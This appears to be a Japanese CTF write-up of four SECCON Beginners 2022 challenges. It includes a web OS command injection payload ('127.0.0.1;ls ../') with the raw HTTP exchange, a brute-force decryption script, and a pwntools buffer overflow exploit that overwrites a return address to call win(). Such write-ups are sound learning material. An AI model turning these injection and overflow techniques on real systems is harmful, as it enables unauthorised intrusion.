大会情報
- SECCON BEGINERS 2022
- 2022/6/4 (土) 14:00 JST - 2022/6/5 (日) 14:00 JST
- 形式: Online / Jeopardy
解いた問題について、その過程を解説する。
問題毎の見出しは下記ルールで記載する。
[Challenge category] challenge name (score point)
[web]Web-Util (54pt)
ctf4b networks社のネットワーク製品にはとっても便利な機能があるみたいです! でも便利すぎて不安かも...?
(注意) SECCON Beginners運営が管理しているサーバー以外への攻撃を防ぐために外部への接続が制限されています。
https://util.quals.beginners.seccon.jp
util.tar.gz 3828bf8512e6d00316da5e290ac882e470dc9d7d
問題文で提供された添付ファイルの中にDockerfilegあり、
Webサーバ上にテキストファイルとしてフラグがあることがわかる。
//Dockerfile
RUN echo "ctf4b{xxxxxxxxxxxxxxxxxx}" > /flag_$(cat /dev/urandom | tr -dc "a-zA-Z0-9" | fold -w 16 | head -n 1).txt
サイトのソースを見ると、XSSを仕込めそうな箇所が見つかる。
if (xhr.status != 200) {
document.getElementById("notify").innerHTML =
"<p>Request Error : " + xhr.response + "</p>";
} else {
BurpSuiteを使ってリクエストBodyを修正して送りつけると、
OSコマンドインジェクションができ、ファイル一覧が取得できる。
{"address":"127.0.0.1;ls ../"}
flag_A74FIBkN9sELAjOc.txt
という怪しいファイルをcatで出力するリクエストを別途送ることで
問題をクリアできる。
POST /util/ping HTTP/1.1
Host: util.quals.beginners.seccon.jp
Cookie: _ga=GA1.2.558864871.1654344890; _gid=GA1.2.875114735.1654344890
Content-Length: 30
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="102", "Google Chrome";v="102"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Content-Type: application/json
Accept: */*
Origin: https://util.quals.beginners.seccon.jp
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://util.quals.beginners.seccon.jp/
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Connection: close
{"address":"127.0.0.1;ls ../"}
/////////////////////
HTTP/1.1 200 OK
Server: nginx/1.21.6
Date: Sat, 04 Jun 2022 12:43:45 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 375
Connection: close
{"result":"PING 127.0.0.1 (127.0.0.1): 56 data bytes\n64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.170 ms\n\n--- 127.0.0.1 ping statistics ---\n1 packets transmitted, 1 packets received, 0% packet loss\nround-trip min/avg/max = 0.170/0.170/0.170 ms\napp\nbin\ndev\netc\nflag_A74FIBkN9sELAjOc.txt\nhome\nlib\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n"}
[reversing] Quiz(50pt)
クイズに答えよう!
quiz.tar.gz a7f225b59176baa3d888c6fc7452f8df9a58e204
クイズを出題するELFバイナリが提供される。
stringsコマンドでフラグに関する情報をゲットできる。
ELFバイナリを実行して、各クイズに答えるとフラグがもらえる。
[crepto]CoughingFox(55pt)
きつねさんが食べ物を探しているみたいです。
coughingfox.tar.gz c2cdda5cb20d25e40be57a72a949591b7172d143
復号プログラムを作る問題。
暗号化のロジックは添付ファイルで開示されている。
flag = b"ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"
for i in range(len(flag)):
f = flag[i]
c = (f + i)**2 + i
cipher.append(c)
上記ロジックより、何文字目かという情報を使って暗号化していることがわかる。
暗号化された各文字ごとに、先頭から順に数字or小文字or大文字or記号を暗号化して一致するか総当りで試すと復号できる。
下記で復号できた。
import string
// encode Logic -> c = (f + i)**2 + i
cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]
flag = []
f = "".join(string.digits + string.ascii_letters + string.punctuation)
for i in range(len(cipher)):
for j in range(len(f)):
for k in range(len(cipher)):
if cipher[i] == ((ord(f[j]) + k)**2 + k):
flag.append((k, f[j]))
break
flag.sort(key=lambda pair: pair[0])
for key, value in flag:
print(value, end="")
[pwnable]BeginnersBof(84pt)
Pwnってこういうのだけじゃないらしいですが,多分これだけでもできればすごいと思います.
nc beginnersbof.quals.beginners.seccon.jp 9000
BeginnersBof.tar.gz 68c9c9cbeab6c99c936e9a6c5d381ee28efaaeaf
添付のsrc.cを見ると、標準入力から文字列を受け取って、BUFSIZEを超えた分バッファオーバーフローを使って、win()を呼び出すことでフラグを取得できることがすぐに分かる。
win()の先頭アドレスをgdbで確認すると
0x00000000004011e6であることがわかる。
gdb-peda$ pdisass win
Dump of assembler code for function win:
0x00000000004011e6 <+0>: push rbp
0x00000000004011e7 <+1>: mov rbp,rsp
0x00000000004011ea <+4>: sub rsp,0x110
0x00000000004011f1 <+11>: mov esi,0x0
引用元: https://eli.thegreenplace.net/2011/09/06/stack-frame-layout-on-x86-64
(IPAのサイトも参考になる。)
標準入力から受け取った文字列は、low addressからhigh addressの方向(上図の赤エリア)に格納されていくため、
RBPレジスタまで適当な文字列を格納させて、その次に0x00000000004011e6を書き込めれば、win()を呼び出すことができる。
RBPレジスタまで何文字の文字列を入力すれば良いか調べる。
バッファーが溢れる直前にブレイクポイントを貼って、長い文字列を入力しRBPレジスタがどの文字列で埋められているか確認する。
gdb-peda$ b *main+143
gdb-peda$ r
20000
abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789
RBPレジスタに6789abcdが格納されているため、
下記文字列でwin()を呼び出せることになる。
「abcdefghijklmnopqrstuvwxyz0123456789abcd + win()リターンアドレス」
win()のリターンアドレスをリトルエンディアンで並び替えると以下となる。
win()リターンアドレス = 0x00000000004011e6=\xe6\x11\x40\x00\x00\x00\x00\x00
つまり、下記を打ち込めばOK
abcdefghijklmnopqrstuvwxyz0123456789abcd\xe6\x11\x40\x00\x00\x00\x00\x00
以下、pythonスクリプト
from pwn import *
def exploit(p, binf):
flag_symbols = binf.symbols['win']
#flag_symbols = 0x00000000004011e6
log.info("flag symbols: {}".format(hex(flag_symbols)))
p.sendlineafter("How long is your name?", "2000")
offset = 40
payload = b"A" * offset
payload += pack(flag_symbols)
log.info("payload: {}".format(payload))
p.sendlineafter("What's your name?", payload)
def main():
context(arch="amd64", os="linux")
if args["REMOTE"]:
p = remote("beginnersbof.quals.beginners.seccon.jp", 9000)
else:
p = process("./chall")
binf = ELF("./chall")
exploit(p, binf)
p.interactive()
if __name__ == "__main__":
main()
}
- (参考)似ている問題
jerseyctf-2022 [bin]going-over
https://github.com/njitacm/jerseyctf-2022-challenges/tree/main/bin/going-over